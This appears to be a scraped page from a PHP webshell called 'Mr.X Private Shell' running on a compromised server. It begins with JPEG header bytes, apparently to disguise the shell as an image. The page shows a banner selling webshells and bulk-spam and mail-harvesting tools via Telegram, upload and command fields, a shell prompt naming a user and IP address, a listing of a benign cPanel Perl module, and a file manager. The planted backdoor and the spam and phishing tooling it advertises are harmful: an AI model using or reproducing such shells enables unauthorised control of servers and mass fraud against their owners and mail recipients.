����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
package cPanel::PublicAPI::WHM::CachedVersion;

# Copyright (c) 2015, cPanel, Inc.
# All rights reserved.
# http://cpanel.net
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the owner nor the names of its contributors may be
# used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

use cPanel::PublicAPI ();

our $VERSION = '2.3';

package cPanel::PublicAPI;

use cPanel::PublicAPI::WHM::Legacy ();

our $basedir  = '/var/cpanel/accounting';
our $cachedir = '/var/cpanel/accounting/cache';
our $cachettl = 3600;                             #one hour

sub check_dirs {
    foreach my $dir ( $basedir, $cachedir ) {
        if ( !-e $dir ) {
            mkdir( $dir, 0700 );
        }
    }
}

sub cached_version {
    my $self = shift;
    my $ttl = shift || $cachettl;
    my $version;

    $self->check_dirs();

    my $file = ( $self->{'ip'} || $self->{'host'} );

    if ( !$file ) {
        return;
    }

    $file =~ s/\///g;
    my $fullfile = $cachedir . '/' . $file;
    my $now      = time();
    my $mtime    = ( stat($fullfile) )[9];

    if ( $mtime && ( $mtime + $ttl ) > $now && $mtime < $now ) {
        if ( open( my $cache_fh, '<', $fullfile ) ) {
            my $fileversion = readline($cache_fh);
            if ( $fileversion =~ /^(\d+\.\d+\.\d+)/ ) {
                $version = $1;
            }
            close($cache_fh);
        }
    }

    if ($version) { return $version; }

    $version = $self->version();

    if ($version) {
        if ( open( my $cache_fh, '>', $fullfile ) ) {
            print {$cache_fh} $version;
            close($cache_fh);
        }
    }

    return $version;
}

1;

Filemanager

Name Type Size Permission Actions
API.pm File 16.75 KB 0444
API.pod File 10.8 KB 0444
CachedVersion.pm File 2.87 KB 0444
CachedVersion.pod File 2.45 KB 0444
DNS.pm File 5.03 KB 0444
DNS.pod File 5.78 KB 0444
JSONAPI.pm File 1.75 KB 0444
JSONAPI.pod File 11.34 KB 0444
Legacy.pm File 3.91 KB 0444
Legacy.pod File 1.81 KB 0444
XMLAPI.pm File 1.75 KB 0444
XMLAPI.pod File 11.2 KB 0444